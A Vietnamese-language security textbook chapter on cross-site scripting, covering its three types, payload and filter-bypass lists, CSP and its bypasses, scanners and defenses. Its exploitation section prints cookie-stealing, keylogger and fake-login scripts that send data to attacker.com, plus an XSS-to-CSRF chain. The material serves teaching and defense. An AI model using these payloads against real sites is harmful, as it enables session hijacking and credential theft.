Chương 11: XSS — Cross-Site Scripting
Khái niệm
XSS (Cross-Site Scripting — Scripting chéo trang) là lỗ hổng cho phép hacker inject và thực thi JavaScript độc hại trong browser của nạn nhân, trong context của trang web bị tấn công.
Mức độ nguy hiểm: Cao — XSS có thể dẫn đến session hijacking, account takeover, keylogging, phishing, malware distribution.
XSS xảy ra khi ứng dụng nhận input từ user và đưa vào HTML response mà không sanitize.
Ba loại XSS
1. Reflected XSS (XSS phản chiếu)
Payload xuất phát từ HTTP request hiện tại, được "phản chiếu" lại trong response ngay lập tức.
GET /search?q=<script>alert(1)</script> HTTP/1.1
Response:
<html>
You searched for: <script>alert(1)</script>
</html>
Đặc điểm:
- Không persistent (không lưu trong DB)
- Cần victim click link chứa payload
- Thường dùng để phishing
2. Stored XSS / Persistent XSS (XSS lưu trữ)
Payload được lưu vào server (database, file) và chạy mỗi lần ai load trang đó.
1. Hacker comment vào bài viết:
"Great article! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>"
2. Comment được lưu vào DB
3. Mọi user xem bài viết đó → script chạy → cookie bị đánh cắp
Đặc điểm:
- Persistent — ảnh hưởng nhiều người
- Không cần victim click link riêng
- Nguy hiểm hơn Reflected XSS
3. DOM-based XSS
Payload xử lý hoàn toàn ở client-side (JavaScript), không qua server.
// Vulnerable code
var search = location.hash.substr(1); // Lấy từ URL fragment
document.getElementById('results').innerHTML = search; // Inject vào DOM
// URL: https://example.com/search#<img src=x onerror=alert(1)>
// Fragment không gửi lên server → server không thấy → WAF không block
// Nhưng JS phía client inject vào DOM → XSS
Source (nơi lấy input):
location.href, location.search, location.hash
document.referrer
window.name
document.cookie
localStorage, sessionStorage
Sink (nơi inject output):
innerHTML, outerHTML, document.write
eval(), setTimeout(), setInterval()
element.src, element.href
jQuery: $(), html(), append()
XSS Payloads
Basic
<script>alert(1)</script>
<script>alert(document.cookie)</script>
Khi thẻ script bị block
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<!-- SVG -->
<svg><script>alert(1)</script></svg>
<!-- Encoded -->
<img src=x onerror=alert(1)>
<!-- Template literals -->
`${alert(1)}`
Bypass filters
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Attribute quoting variations -->
<img src=x onerror='alert(1)'>
<img src=x onerror="alert(1)">
<img src=x onerror=alert(1)>
<!-- Extra whitespace -->
<img src=x onerror = alert(1)>
<img/src=x/onerror=alert(1)>
<!-- HTML entities in JS context -->
<a href="javascript:alert(1)">click</a>
<!-- Polyglot -->
';alert(1)//
"-alert(1)-"
\';alert(1)//
<!-- Obfuscation -->
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- alert(1) in base64 -->
XSS trong JSON response
// App returns:
// Content-Type: text/html (sai! nên là application/json)
// {"username": "INJECT_HERE"}
// Payload:
{"username": "</script><script>alert(1)</script>"}
Khai thác XSS
Session Hijacking
// Đơn giản nhất: đọc cookie và gửi đi
document.location = 'https://attacker.com/steal?c=' + document.cookie
// Hoặc fetch (stealth hơn)
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
localStorage: JSON.stringify(localStorage)
})
});
Keylogger
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
Credential Stealing — Fake Login Form
// Inject fake login prompt
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<h2>Session expired. Please login again.</h2>
<input id="user" type="text" placeholder="Username">
<input id="pass" type="password" placeholder="Password">
<button onclick="steal()">Login</button>
</div>
`;
function steal() {
fetch('https://attacker.com/creds', {
method: 'POST',
body: JSON.stringify({
user: document.getElementById('user').value,
pass: document.getElementById('pass').value
})
});
}
XSS + CSRF Chain
// XSS cho phép bypass CSRF protection
// Vì script chạy cùng origin → có thể đọc CSRF token
fetch('/api/get-csrf-token')
.then(r => r.json())
.then(data => {
// Dùng token thực để thực hiện CSRF action
fetch('/api/change-email', {
method: 'POST',
headers: {'X-CSRF-Token': data.token},
body: JSON.stringify({email: 'hacker@evil.com'})
});
});
Content Security Policy (CSP) — Phòng chống XSS hiệu quả nhất
CSP là response header chỉ định browser chỉ được load/execute resources từ nguồn được phép.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
Directives quan trọng:
default-src: fallback cho tất cả resource types
script-src: nguồn JS được phép
style-src: nguồn CSS được phép
img-src: nguồn images được phép
connect-src: nguồn cho fetch/XHR/WebSocket
frame-ancestors: ai được embed trang này (thay X-Frame-Options)
base-uri: hạn chế <base> tag
object-src: plugin content (nên set 'none')
Bypass CSP:
// Nếu script-src cho phép domain có JSONP endpoint:
// Content-Security-Policy: script-src https://trusted.com
// trusted.com có: /jsonp?callback=alert(1)
<script src="https://trusted.com/jsonp?callback=alert(1337)"></script>
// Nếu unsafe-inline được phép:
// Bất kỳ inline script nào đều chạy → CSP vô dụng
<script>alert(1)</script> // Chạy được
// angular.js bypass (nếu angular được phép):
{{constructor.constructor('alert(1)')()}}
// Dùng nonce (đúng cách):
Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'
<script nonce="RANDOM_VALUE">/* legitimate */</script>
// Mỗi request tạo nonce mới → không thể đoán
Cách phát hiện
□ Inject <script>alert(1)</script> vào mọi input field
□ Test các reflection points: search, comments, profile, error messages
□ DOM XSS: kiểm tra JavaScript source dùng location.* hoặc document.*
□ Inspect page source: input có được reflect không?
□ Test với các variations: HTML entities, URL encoding, case changes
□ Kiểm tra Content-Type response: text/html vs application/json
□ Kiểm tra X-XSS-Protection header (deprecated nhưng indicator)
□ CSP có được implement không? Có bypass không?
Tools:
- XSStrike: Python tool scan XSS tự động
- DalFox: Go-based XSS scanner nhanh
- Burp Scanner: Detect XSS trong active scan
# XSStrike
python3 xsstrike.py -u "https://example.com/search?q=test"
# DalFox
dalfox url "https://example.com/search?q=test"
Phòng chống
1. Output Encoding (Quan trọng nhất)
Encode output tùy theo context:
# HTML context: encode HTML entities
import html
safe_output = html.escape(user_input)
# & → & < → < > → > " → " ' → '
# Attribute context
safe_attr = html.escape(user_input, quote=True)
# JavaScript context (trong <script> tag)
import json
safe_js = json.dumps(user_input) # Wraps trong quotes, escape special chars
# URL context
from urllib.parse import quote
safe_url = quote(user_input, safe='')
Template engines mặc định encode:
# Jinja2: auto-escape bằng default
{{ user_input }} # Auto HTML-escaped
{{ user_input | safe }} # ← NGUY HIỂM: disable escaping
# React: JSX auto-escape
const element = <div>{userInput}</div>; // Safe
const element = <div dangerouslySetInnerHTML={{__html: userInput}}/>; // NGUY HIỂM
2. Input Validation
# Whitelist approach
import re
def validate_username(username):
# Chỉ cho phép alphanumeric và một số ký tự
if not re.match(r'^[a-zA-Z0-9_-]{3,30}$', username):
raise ValueError("Invalid username")
return username
# Sanitize HTML nếu cần accept HTML (comments, rich text)
import bleach
ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a']
ALLOWED_ATTRS = {'a': ['href', 'title']}
def sanitize_html(html_input):
return bleach.clean(
html_input,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRS,
strip=True # Strip không cho phép thay vì escape
)
3. Content Security Policy
# Flask: Set CSP header
@app.after_request
def set_csp(response):
# Generate nonce mỗi request
nonce = secrets.token_urlsafe(16)
g.csp_nonce = nonce
response.headers['Content-Security-Policy'] = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}'; "
f"style-src 'self' 'nonce-{nonce}'; "
f"img-src 'self' data: https:; "
f"object-src 'none'; "
f"base-uri 'self'; "
f"frame-ancestors 'none'"
)
return response
4. HTTPOnly Cookies
# Ngay cả khi XSS xảy ra, cookie không bị đọc
response.set_cookie('session', session_id, httponly=True, secure=True)
Góc nhìn DevOps
Nginx CSP header:
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
object-src 'none';
frame-ancestors 'none';
" always;
WAF Rule cho XSS (ModSecurity):
# ModSecurity Core Rule Set (CRS) đã có XSS rules
SecRuleEngine On
Include /etc/modsecurity/crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
CSP Reporting:
# Report-Only mode: detect nhưng không block (dùng khi deploy CSP mới)
add_header Content-Security-Policy-Report-Only "
default-src 'self';
report-uri https://csp.example.com/report;
" always;
Kubernetes: Scan image cho XSS-prone packages:
# Trivy scan trong CI/CD
- name: Security Scan
run: |
trivy image myapp:latest --severity HIGH,CRITICAL
# Detect outdated packages với known XSS vulnerabilities
Tóm tắt
- XSS: 3 loại — Reflected (URL-based), Stored (DB-based), DOM-based (client-side JS).
- Impact: session hijacking, credential theft, keylogging, CSRF bypass.
- Phòng chống: Output encoding theo context + CSP + HttpOnly cookies.
- Không tin vào HTML escaping đơn thuần — cần context-aware encoding.
- CSP nonce-based là biện pháp mạnh nhất ngăn inline scripts.
dangerouslySetInnerHTML(React) và| safe(Jinja2) là red flags.- DOM XSS không đi qua server — WAF không detect được.
Câu hỏi ôn tập
- Sự khác nhau giữa Reflected, Stored, và DOM-based XSS là gì? Loại nào nguy hiểm nhất?
- Tại sao
html.escape()không đủ để phòng chống XSS trong mọi context? - CSP nonce-based hoạt động như thế nào? Tại sao nonce phải random mỗi request?
- Mô tả cách XSS kết hợp với CSRF để bypass CSRF protection.
- DOM-based XSS không đi qua server. Implication là gì với WAF và server-side validation?